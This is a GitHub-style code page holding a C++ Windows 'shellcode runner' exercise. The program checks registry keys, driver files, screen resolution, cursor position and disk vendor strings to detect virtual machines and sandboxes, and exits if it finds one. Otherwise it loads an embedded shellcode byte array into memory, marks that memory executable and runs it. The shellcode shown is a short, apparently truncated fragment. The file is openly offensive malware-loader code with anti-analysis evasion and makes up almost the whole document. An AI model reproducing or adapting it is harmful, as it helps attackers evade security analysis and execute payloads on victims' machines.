-
Notifications
You must be signed in to change notification settings - Fork 67
/
Copy pathshellcode-runner-exercise12.cpp
187 lines (159 loc) · 6.46 KB
/
shellcode-runner-exercise12.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
#include <windows.h>
#include <iostream>
#include <vector>
#include <string>
bool IsVirtualMachine() {
const std::vector<std::pair<HKEY, std::wstring>> registryChecks = {
{HKEY_LOCAL_MACHINE, L"HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 0\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0"},
{HKEY_LOCAL_MACHINE, L"HARDWARE\\Description\\System"},
{HKEY_LOCAL_MACHINE, L"SYSTEM\\ControlSet001\\Control\\SystemInformation"},
{HKEY_LOCAL_MACHINE, L"HARDWARE\\ACPI\\DSDT\\VBOX__"},
{HKEY_LOCAL_MACHINE, L"HARDWARE\\ACPI\\FADT\\VBOX__"},
{HKEY_LOCAL_MACHINE, L"HARDWARE\\ACPI\\RSDT\\VBOX__"},
{HKEY_LOCAL_MACHINE, L"SOFTWARE\\Oracle\\VirtualBox Guest Additions"},
{HKEY_LOCAL_MACHINE, L"SYSTEM\\ControlSet001\\Services\\VBoxGuest"},
{HKEY_LOCAL_MACHINE, L"SYSTEM\\ControlSet001\\Services\\VBoxMouse"},
{HKEY_LOCAL_MACHINE, L"SYSTEM\\ControlSet001\\Services\\VBoxService"},
{HKEY_LOCAL_MACHINE, L"SYSTEM\\ControlSet001\\Services\\VBoxSF"},
{HKEY_LOCAL_MACHINE, L"SYSTEM\\ControlSet001\\Services\\VBoxVideo"},
{HKEY_LOCAL_MACHINE, L"SOFTWARE\\VMware, Inc.\\VMware Tools"},
{HKEY_LOCAL_MACHINE, L"SOFTWARE\\Wine"},
{HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Virtual Machine\\Guest\\Parameters"},
{HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Services\\Disk\\Enum"},
{HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Enum\\IDE"},
{HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Enum\\SCSI"}
};
for (const auto& regCheck : registryChecks) {
HKEY hKey;
if (RegOpenKeyExW(regCheck.first, regCheck.second.c_str(), 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
RegCloseKey(hKey);
return true;
}
}
const std::vector<std::wstring> fileChecks = {
L"system32\\drivers\\VBoxMouse.sys",
L"system32\\drivers\\VBoxGuest.sys",
L"system32\\drivers\\VBoxSF.sys",
L"system32\\drivers\\VBoxVideo.sys",
L"system32\\vboxdisp.dll",
L"system32\\vboxhook.dll",
L"system32\\vboxmrxnp.dll",
L"system32\\vboxogl.dll",
L"system32\\vboxoglarrayspu.dll",
L"system32\\vboxoglcrutil.dll",
L"system32\\vboxoglerrorspu.dll",
L"system32\\vboxoglfeedbackspu.dll",
L"system32\\vboxoglpackspu.dll",
L"system32\\vboxoglpassthroughspu.dll",
L"system32\\vboxservice.exe",
L"system32\\vboxtray.exe",
L"system32\\VBoxControl.exe",
L"system32\\drivers\\vmmouse.sys",
L"system32\\drivers\\vmhgfs.sys",
L"system32\\drivers\\vm3dmp.sys",
L"system32\\drivers\\vmci.sys",
L"system32\\drivers\\vmhgfs.sys",
L"system32\\drivers\\vmmemctl.sys",
L"system32\\drivers\\vmmouse.sys",
L"system32\\drivers\\vmrawdsk.sys",
L"system32\\drivers\\vmusbmouse.sys"
};
for (const auto& fileCheck : fileChecks) {
if (GetFileAttributesW(fileCheck.c_str()) != INVALID_FILE_ATTRIBUTES) {
return true;
}
}
return false;
}
bool IsSandboxByResolution() {
int screenWidth = GetSystemMetrics(SM_CXSCREEN);
int screenHeight = GetSystemMetrics(SM_CYSCREEN);
const int sandboxResolutions[][2] = {
{1024, 768},
{800, 600},
{640, 480}
};
for (const auto& resolution : sandboxResolutions) {
if (screenWidth == resolution[0] && screenHeight == resolution[1]) {
return true;
}
}
return false;
}
bool IsSandboxByMouseMovement() {
POINT pt;
GetCursorPos(&pt);
if (pt.x == 0 && pt.y == 0) {
return true;
}
return false;
}
bool IsVirtualDisk() {
HANDLE hDevice = CreateFileW(L"\\\\.\\PhysicalDrive0", GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
std::cerr << "Failed to open device." << std::endl;
return false;
}
STORAGE_PROPERTY_QUERY storagePropertyQuery;
DWORD bytesReturned;
char buffer[10000];
memset(&storagePropertyQuery, 0, sizeof(STORAGE_PROPERTY_QUERY));
storagePropertyQuery.PropertyId = StorageDeviceProperty;
storagePropertyQuery.QueryType = PropertyStandardQuery;
if (DeviceIoControl(hDevice, IOCTL_STORAGE_QUERY_PROPERTY, &storagePropertyQuery, sizeof(STORAGE_PROPERTY_QUERY),
&buffer, sizeof(buffer), &bytesReturned, NULL)) {
STORAGE_DEVICE_DESCRIPTOR* deviceDescriptor = (STORAGE_DEVICE_DESCRIPTOR*)buffer;
char vendorId[256] = { 0 };
char productId[256] = { 0 };
if (deviceDescriptor->VendorIdOffset != 0) {
strcpy_s(vendorId, sizeof(vendorId), buffer + deviceDescriptor->VendorIdOffset);
}
if (deviceDescriptor->ProductIdOffset != 0) {
strcpy_s(productId, sizeof(productId), buffer + deviceDescriptor->ProductIdOffset);
}
std::cout << "Vendor ID: " << vendorId << std::endl;
std::cout << "Product ID: " << productId << std::endl;
if (strstr(vendorId, "VMware") || strstr(vendorId, "VBOX") || strstr(productId, "Virtual")) {
CloseHandle(hDevice);
return true;
}
}
else {
std::cerr << "DeviceIoControl failed." << std::endl;
CloseHandle(hDevice);
return false;
}
CloseHandle(hDevice);
return false;
}
int main() {
if (IsVirtualMachine()) {
std::cout << "Running in a virtual machine environment.\n";
return 1;
}
if (IsSandboxByResolution()) {
std::cout << "Running in a sandbox environment (resolution check).\n";
return 1;
}
if (IsSandboxByMouseMovement()) {
std::cout << "Running in a sandbox environment (mouse movement check).\n";
return 1;
}
if (IsVirtualDisk()) {
std::cout << "Running in a virtual environment (HDD check).\n";
return 1;
}
unsigned char shellcode[] = "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac";
void* exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_READWRITE);
memcpy(exec, shellcode, sizeof(shellcode));
DWORD oldProtect;
VirtualProtect(exec, sizeof(shellcode), PAGE_EXECUTE_READ, &oldProtect);
void(*func)();
func = (void(*)())exec;
func();
VirtualFree(exec, 0, MEM_RELEASE);
return 0;
}